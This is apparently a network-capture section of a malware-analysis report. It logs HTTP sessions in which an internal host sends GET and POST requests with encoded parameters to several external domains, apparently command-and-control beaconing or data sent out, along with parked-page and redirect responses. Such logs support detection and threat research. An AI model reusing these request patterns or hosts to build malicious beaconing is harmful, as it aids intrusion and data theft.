Oct 8, 2024 15:25:19.376703024 CEST	518	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYmQyYzQzOTYtMTEzZC00OWE3LWFmMGEtZGIzYjk2YjEzODQ0IiwicGFnZV90aW1lIjoxNzI4MzkzOTE5LCJwYWdlX3VybCI6Imh0dHA6Ly93d3cubm90ZXBhZC5tb2JpLzQ

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.11.20	49795	199.59.243.227	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:25:21.908394098 CEST	530	OUT	GET /42yt/?6v1=n1zukyJZNHWDLXKOvk85D7UZRdwlYZfhT0P9Gf17u78VFOCb/Y5WDzLXzQhRzDWO3THn0MOhhpVdUjSXqlWaNwXtG0/8roYrw0xdx31DJh2k57wX/K0pFIs=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.notepad.mobi Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:25:22.010641098 CEST	1289	IN	HTTP/1.1 200 OK date: Tue, 08 Oct 2024 13:25:21 GMT content-type: text/html; charset=utf-8 content-length: 1458 x-request-id: 126a4af4-4be9-4d8b-aa91-b0bdc6aad15b cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_WaFBxsvuDUwFbiPm7teRqdQsjFjod77l3m5xc49h5AZDmAyxoDlV0+OydQHekxitRXZDZy8sTfr/Pm6ddasdkw== set-cookie: parking_session=126a4af4-4be9-4d8b-aa91-b0bdc6aad15b; expires=Tue, 08 Oct 2024 13:40:21 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 57 61 46 42 78 73 76 75 44 55 77 46 62 69 50 6d 37 74 65 52 71 64 51 73 6a 46 6a 6f 64 37 37 6c 33 6d 35 78 63 34 39 68 35 41 5a 44 6d 41 79 78 6f 44 6c 56 30 2b 4f 79 64 51 48 65 6b 78 69 74 52 58 5a 44 5a 79 38 73 54 66 72 2f 50 6d 36 64 64 61 73 64 6b 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_WaFBxsvuDUwFbiPm7teRqdQsjFjod77l3m5xc49h5AZDmAyxoDlV0+OydQHekxitRXZDZy8sTfr/Pm6ddasdkw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
Oct 8, 2024 15:25:22.010752916 CEST	858	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTI2YTRhZjQtNGJlOS00ZDhiLWFhOTEtYjBiZGM2YWFkMTViIiwicGFnZV90aW1lIjoxNzI4MzkzOTIxLCJwYWdlX3VybCI6Imh0dHA6Ly93d3cubm90ZXBhZC5tb2JpLzQ

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.11.20	49796	199.59.243.227	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:25:30.200890064 CEST	537	OUT	GET /j89h/?dX7=sns4Fhmpql&6v1=t39zGyvYmujPNlbc44MTbwagsnz+runAgyc0uTb+2KFfpU4FdXsWzq5grOKfcMMqBbgb86jYKVfh1bYb1KKDox1al7BagiI6ozFTdi6nFGMEe7mc+uR20u4= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.online-dating28.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:25:30.302916050 CEST	1289	IN	HTTP/1.1 200 OK date: Tue, 08 Oct 2024 13:25:30 GMT content-type: text/html; charset=utf-8 content-length: 1470 x-request-id: 77da1b79-847d-4f0e-80f6-14d3d75f2892 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JlBKlnzcfKqUdYs8AeoNpFEwB/faWInrVnzTRkgSHWfl9SsoJS5KUnSMZ4wDfk+7rAQ3MX2Nk39e7gyCuoto3A== set-cookie: parking_session=77da1b79-847d-4f0e-80f6-14d3d75f2892; expires=Tue, 08 Oct 2024 13:40:30 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4a 6c 42 4b 6c 6e 7a 63 66 4b 71 55 64 59 73 38 41 65 6f 4e 70 46 45 77 42 2f 66 61 57 49 6e 72 56 6e 7a 54 52 6b 67 53 48 57 66 6c 39 53 73 6f 4a 53 35 4b 55 6e 53 4d 5a 34 77 44 66 6b 2b 37 72 41 51 33 4d 58 32 4e 6b 33 39 65 37 67 79 43 75 6f 74 6f 33 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JlBKlnzcfKqUdYs8AeoNpFEwB/faWInrVnzTRkgSHWfl9SsoJS5KUnSMZ4wDfk+7rAQ3MX2Nk39e7gyCuoto3A==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
Oct 8, 2024 15:25:30.302931070 CEST	870	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNzdkYTFiNzktODQ3ZC00ZjBlLTgwZjYtMTRkM2Q3NWYyODkyIiwicGFnZV90aW1lIjoxNzI4MzkzOTMwLCJwYWdlX3VybCI6Imh0dHA6Ly93d3cub25saW5lLWRhdGluZzI

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.11.20	49797	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:07.783078909 CEST	797	OUT	POST /trcp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.cptsdisme.info Origin: http://www.cptsdisme.info Referer: http://www.cptsdisme.info/trcp/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 57 49 33 67 6f 4d 77 4f 31 49 6f 58 6e 4f 37 75 54 55 77 41 52 2b 48 4e 50 53 61 48 6e 35 7a 71 35 4e 50 47 48 73 6a 65 68 30 66 76 77 61 6f 72 48 72 72 78 35 61 72 33 36 47 35 48 32 66 64 76 37 4e 49 6e 75 54 31 43 45 64 31 50 54 6d 5a 4c 4a 79 4d 62 65 2b 4b 4a 4a 4e 73 37 53 33 46 6e 41 73 61 4e 62 79 56 2f 47 78 2f 59 64 36 6d 78 63 74 4c 47 67 50 35 79 73 46 6f 47 35 55 61 54 47 65 61 72 63 38 37 38 74 33 75 6a 33 5a 55 74 56 57 4a 2f 67 73 70 74 4d 6f 59 74 31 58 53 31 64 79 63 30 31 30 54 6d 36 73 61 66 4c 45 50 6e 79 58 74 43 39 49 55 39 6b 6c 68 46 43 49 36 75 59 67 3d 3d Data Ascii: 6v1=WI3goMwO1IoXnO7uTUwAR+HNPSaHn5zq5NPGHsjeh0fvwaorHrrx5ar36G5H2fdv7NInuT1CEd1PTmZLJyMbe+KJJNs7S3FnAsaNbyV/Gx/Yd6mxctLGgP5ysFoG5UaTGearc878t3uj3ZUtVWJ/gsptMoYt1XS1dyc010Tm6safLEPnyXtC9IU9klhFCI6uYg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.11.20	49798	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:10.422785044 CEST	817	OUT	POST /trcp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.cptsdisme.info Origin: http://www.cptsdisme.info Referer: http://www.cptsdisme.info/trcp/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 57 49 33 67 6f 4d 77 4f 31 49 6f 58 6e 75 4c 75 41 6c 77 41 57 65 48 4d 4b 53 61 48 74 5a 7a 75 35 4e 4c 47 48 75 50 4f 69 47 4c 76 77 37 59 72 57 65 4c 78 31 36 72 33 69 57 35 43 35 2f 63 74 37 4d 31 61 75 53 4a 43 45 63 52 50 54 6d 70 4c 4a 68 6b 59 64 4f 4b 4c 63 64 73 35 57 33 46 6e 41 73 61 4e 62 79 78 42 47 78 58 59 64 71 32 78 54 6f 2f 5a 74 76 35 7a 38 56 6f 47 79 30 61 58 47 65 62 34 63 39 6d 70 74 30 47 6a 33 59 6b 74 56 48 4a 2b 75 73 70 76 44 49 5a 74 31 55 72 70 58 7a 34 2f 37 48 44 31 77 4f 65 36 48 79 65 39 76 6c 5a 6d 2b 62 49 50 67 56 59 74 41 4b 37 31 46 6a 57 63 79 78 59 57 67 39 4d 2f 52 42 34 74 65 7a 44 6c 76 51 6b 3d Data Ascii: 6v1=WI3goMwO1IoXnuLuAlwAWeHMKSaHtZzu5NLGHuPOiGLvw7YrWeLx16r3iW5C5/ct7M1auSJCEcRPTmpLJhkYdOKLcds5W3FnAsaNbyxBGxXYdq2xTo/Ztv5z8VoGy0aXGeb4c9mpt0Gj3YktVHJ+uspvDIZt1UrpXz4/7HD1wOe6Hye9vlZm+bIPgVYtAK71FjWcyxYWg9M/RB4tezDlvQk=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.11.20	49799	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:13.063162088 CEST	1289	OUT	POST /trcp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.cptsdisme.info Origin: http://www.cptsdisme.info Referer: http://www.cptsdisme.info/trcp/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 57 49 33 67 6f 4d 77 4f 31 49 6f 58 6e 75 4c 75 41 6c 77 41 57 65 48 4d 4b 53 61 48 74 5a 7a 75 35 4e 4c 47 48 75 50 4f 69 47 54 76 77 4a 38 72 45 49 44 78 32 36 72 33 72 32 35 44 35 2f 63 73 37 4e 63 64 75 53 45 33 45 66 35 50 56 31 52 4c 59 67 6b 59 47 65 4b 4c 44 74 73 36 53 33 46 75 41 6f 2b 33 62 79 42 42 47 78 58 59 64 6f 65 78 58 39 4c 5a 76 76 35 79 73 46 6f 4b 35 55 61 76 47 65 43 4e 63 39 53 35 74 6c 6d 6a 33 34 30 74 58 78 56 2b 6d 73 70 58 50 6f 5a 44 31 56 58 41 58 77 63 4a 37 44 4c 66 77 4a 43 36 48 31 37 2f 77 68 64 36 36 62 77 45 39 32 30 57 4c 70 72 59 4b 78 65 70 31 51 77 33 6d 39 49 6b 4f 6e 67 62 50 7a 48 30 74 6c 2b 2f 6d 45 4b 78 41 51 6b 45 44 41 32 57 54 46 57 34 61 71 38 37 4e 50 43 67 71 37 67 61 38 30 41 70 65 4a 75 57 59 44 5a 30 31 47 50 36 4e 55 6e 30 38 7a 41 62 75 7a 79 35 65 46 4b 62 37 54 6e 2b 2f 4f 2b 48 74 7a 44 76 55 47 6c 44 71 6d 68 6e 2b 76 59 78 41 6b 62 4f 44 64 6a 50 35 64 2f 59 38 55 5a 50 78 76 47 4f 36 56 48 48 62 41 43 76 37 59 4c 55 47 75 [TRUNCATED] Data Ascii: 6v1=WI3goMwO1IoXnuLuAlwAWeHMKSaHtZzu5NLGHuPOiGTvwJ8rEIDx26r3r25D5/cs7NcduSE3Ef5PV1RLYgkYGeKLDts6S3FuAo+3byBBGxXYdoexX9LZvv5ysFoK5UavGeCNc9S5tlmj340tXxV+mspXPoZD1VXAXwcJ7DLfwJC6H17/whd66bwE920WLprYKxep1Qw3m9IkOngbPzH0tl+/mEKxAQkEDA2WTFW4aq87NPCgq7ga80ApeJuWYDZ01GP6NUn08zAbuzy5eFKb7Tn+/O+HtzDvUGlDqmhn+vYxAkbODdjP5d/Y8UZPxvGO6VHHbACv7YLUGuOxP7u0l185FhmOmQrePQTsWby/6vDDO7syDHRoZgWgnQrOEI7Q7i44Bp5RTmdOSlcXKO09Xpr6Or9Zx3ppfCW3+3yrfktD5WV0U5GObRDqQeN/7XEWoFBNVn/hDk7SjOSBZrC3Fs0wOOJk1Gqs3liM1Ictqtol7EvQMw4HckQCRhMYkBhA0sokxscvMzBbAIX3w/KNOZ3yvnadkgGFeznJxGZYb40XaErp9zGjMyRdmM/f3jDM8uN9DzqLNyu7s89Qt7hNZvNgHwo5Cre/6Rys7lcidqEiZoxX6JkSOcwbiE8zXoaLicPEEYiyr1hQrgJxpimQZ6XTYzcCv18et1fvSptZZPcUpL2
Oct 8, 2024 15:27:13.063210964 CEST	1289	OUT	Data Raw: 62 33 66 38 5a 30 6b 55 49 79 75 41 4e 4b 36 44 4c 67 56 43 78 63 45 74 75 44 77 75 58 50 64 30 77 34 47 61 6e 6a 38 6b 52 31 4e 35 35 65 36 32 72 65 58 69 71 41 67 4b 4d 54 64 53 72 42 32 43 73 65 62 63 64 46 52 68 4a 4c 4d 4a 41 38 4a 73 4c 73 Data Ascii: b3f8Z0kUIyuANK6DLgVCxcEtuDwuXPd0w4Ganj8kR1N55e62reXiqAgKMTdSrB2CsebcdFRhJLMJA8JsLsqbWWvhco5cH9z4GjRu9/oPfBSt2TcxxT652nWf0+EwFQJbM/fjU1ushUVQ5beZ98XNwwagS4Ejflsg8TSnxNFWL+jwX2mar2WFcqoPeqodnmbuOvPRDm7sEQ6kCvVJuYmq2J1IhMZcGi6ai+hz2bi5M+bBc3i6kfM
Oct 8, 2024 15:27:13.063262939 CEST	5388	OUT	Data Raw: 38 56 56 6f 36 33 56 70 69 54 55 51 65 73 71 55 58 51 51 39 63 79 78 41 6c 79 53 43 35 6e 52 78 58 41 38 57 78 72 63 56 54 66 63 67 34 45 63 6e 45 5a 66 66 76 51 53 48 65 6c 34 41 6f 7a 4a 30 4d 7a 2f 67 59 6f 61 71 46 59 65 38 4a 41 72 58 58 37 Data Ascii: 8VVo63VpiTUQesqUXQQ9cyxAlySC5nRxXA8WxrcVTfcg4EcnEZffvQSHel4AozJ0Mz/gYoaqFYe8JArXX7ZsIS6rr451vLpPknoi1B1gpF86GcPi0hLCGclcnUsjU6WJx5Vb+g0sFImHdoCP/AjeO645RsOY8ZIzg1QPSCGzEWQF5OyGtPTYF9f3VvIWN2CK2WHavdXv6Y9foYZVNcrsloyRO/+MwSMM/arLFUGPHEOeCXp4BZL

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.11.20	49800	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:15.699953079 CEST	532	OUT	GET /trcp/?6v1=bKfAr7sv5IY1ptzmDV5wUo2iDSqe67rU75bfeenosgeuvdguL6fX86qCr0wAy4YR9tZZ5z54OoByFHZJe28aKbClFeJ1UE5LefnWbAwiEwjNEYmIQtqZ0uk=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.cptsdisme.info Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:27:15.804027081 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:27:15 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 36 76 31 3d 62 4b 66 41 72 37 73 76 35 49 59 31 70 74 7a 6d 44 56 35 77 55 6f 32 69 44 53 71 65 36 37 72 55 37 35 62 66 65 65 6e 6f 73 67 65 75 76 64 67 75 4c 36 66 58 38 36 71 43 72 30 77 41 79 34 59 52 39 74 5a 5a 35 7a 35 34 4f 6f 42 79 46 48 5a 4a 65 32 38 61 4b 62 43 6c 46 65 4a 31 55 45 35 4c 65 66 6e 57 62 41 77 69 45 77 6a 4e 45 59 6d 49 51 74 71 5a 30 75 6b 3d 26 64 58 37 3d 73 6e 73 34 46 68 6d 70 71 6c 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?6v1=bKfAr7sv5IY1ptzmDV5wUo2iDSqe67rU75bfeenosgeuvdguL6fX86qCr0wAy4YR9tZZ5z54OoByFHZJe28aKbClFeJ1UE5LefnWbAwiEwjNEYmIQtqZ0uk=&dX7=sns4Fhmpql"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.11.20	49801	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:20.920254946 CEST	785	OUT	POST /5odm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.uky09q.vip Origin: http://www.uky09q.vip Referer: http://www.uky09q.vip/5odm/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 7a 36 32 78 66 49 53 61 33 71 63 57 67 45 58 59 34 62 77 54 34 63 56 69 79 63 39 33 46 36 55 49 6b 62 6f 7a 4e 36 5a 39 53 78 58 32 2b 56 53 63 6f 31 46 75 33 78 59 68 64 33 7a 34 74 6f 43 49 31 34 7a 31 4c 53 48 57 6c 6e 48 63 74 2b 75 58 42 38 4f 72 4e 33 63 61 74 67 67 54 39 34 68 56 6a 46 67 4f 65 32 71 53 63 64 55 62 49 34 6d 68 7a 67 72 39 6b 67 63 67 58 7a 6f 6d 39 6e 63 6c 48 47 6c 4a 4b 77 58 34 77 64 5a 4b 36 49 37 6b 31 44 72 4f 62 79 36 39 46 30 56 69 59 71 36 33 62 6e 4b 69 61 35 61 65 4c 76 53 32 54 70 58 51 6b 54 36 51 4a 4c 32 2b 41 2f 39 57 56 4e 4e 30 31 51 3d 3d Data Ascii: 6v1=z62xfISa3qcWgEXY4bwT4cViyc93F6UIkbozN6Z9SxX2+VSco1Fu3xYhd3z4toCI14z1LSHWlnHct+uXB8OrN3catggT94hVjFgOe2qScdUbI4mhzgr9kgcgXzom9nclHGlJKwX4wdZK6I7k1DrOby69F0ViYq63bnKia5aeLvS2TpXQkT6QJL2+A/9WVNN01Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.11.20	49802	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:23.560380936 CEST	805	OUT	POST /5odm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.uky09q.vip Origin: http://www.uky09q.vip Referer: http://www.uky09q.vip/5odm/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 7a 36 32 78 66 49 53 61 33 71 63 57 68 6e 66 59 72 72 4d 54 70 73 56 6c 39 38 39 33 4c 61 55 32 6b 62 6b 7a 4e 2f 35 58 53 44 44 32 35 33 4b 63 36 6d 64 75 30 78 59 68 56 58 7a 48 77 34 43 48 31 34 2f 54 4c 58 2f 57 6c 6e 54 63 74 36 71 58 42 50 6e 39 4e 6e 63 59 34 77 67 52 6c 59 68 56 6a 46 67 4f 65 33 4f 30 63 64 4d 62 55 59 32 68 7a 42 72 79 36 51 63 6e 48 6a 6f 6d 35 6e 63 68 48 47 6b 6b 4b 78 4c 65 77 65 78 4b 36 4e 66 6b 32 52 54 4a 51 79 36 37 4b 55 56 79 4a 34 54 51 56 33 4b 74 55 49 48 47 53 63 75 55 66 66 47 4b 35 68 4f 30 4b 59 71 4d 45 50 45 2b 58 50 4d 76 6f 64 64 4e 6d 50 58 49 77 37 61 4a 36 51 33 78 57 31 4e 4e 41 4d 30 3d Data Ascii: 6v1=z62xfISa3qcWhnfYrrMTpsVl9893LaU2kbkzN/5XSDD253Kc6mdu0xYhVXzHw4CH14/TLX/WlnTct6qXBPn9NncY4wgRlYhVjFgOe3O0cdMbUY2hzBry6QcnHjom5nchHGkkKxLewexK6Nfk2RTJQy67KUVyJ4TQV3KtUIHGScuUffGK5hO0KYqMEPE+XPMvoddNmPXIw7aJ6Q3xW1NNAM0=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.11.20	49803	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:26.200412035 CEST	2578	OUT	POST /5odm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.uky09q.vip Origin: http://www.uky09q.vip Referer: http://www.uky09q.vip/5odm/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 7a 36 32 78 66 49 53 61 33 71 63 57 68 6e 66 59 72 72 4d 54 70 73 56 6c 39 38 39 33 4c 61 55 32 6b 62 6b 7a 4e 2f 35 58 53 43 37 32 35 43 65 63 6f 58 64 75 31 78 59 68 62 33 7a 38 77 34 43 67 31 34 6e 58 4c 58 37 67 6c 6b 72 63 76 66 2b 58 4a 65 6e 39 47 6e 63 59 67 41 67 53 39 34 68 45 6a 46 77 4b 65 32 2b 30 63 64 4d 62 55 64 79 68 30 51 72 79 34 51 63 67 58 7a 6f 36 39 6e 63 4a 48 47 73 61 4b 78 50 6f 78 75 52 4b 36 74 50 6b 36 45 48 4a 4d 69 36 35 4e 55 55 74 4a 34 50 50 56 7a 72 57 55 49 43 6a 53 65 4f 55 63 4b 6a 50 68 78 36 79 58 4c 32 67 4a 4c 4d 5a 41 50 51 77 33 76 78 75 75 74 48 49 36 4e 43 71 6b 48 50 59 47 56 59 4f 44 4c 49 55 34 75 6f 59 72 2b 52 4a 50 5a 41 49 39 76 65 50 7a 59 49 76 35 4a 42 71 71 2b 67 62 65 43 68 4c 63 2f 69 78 75 46 57 78 33 35 58 62 38 54 65 69 65 38 59 30 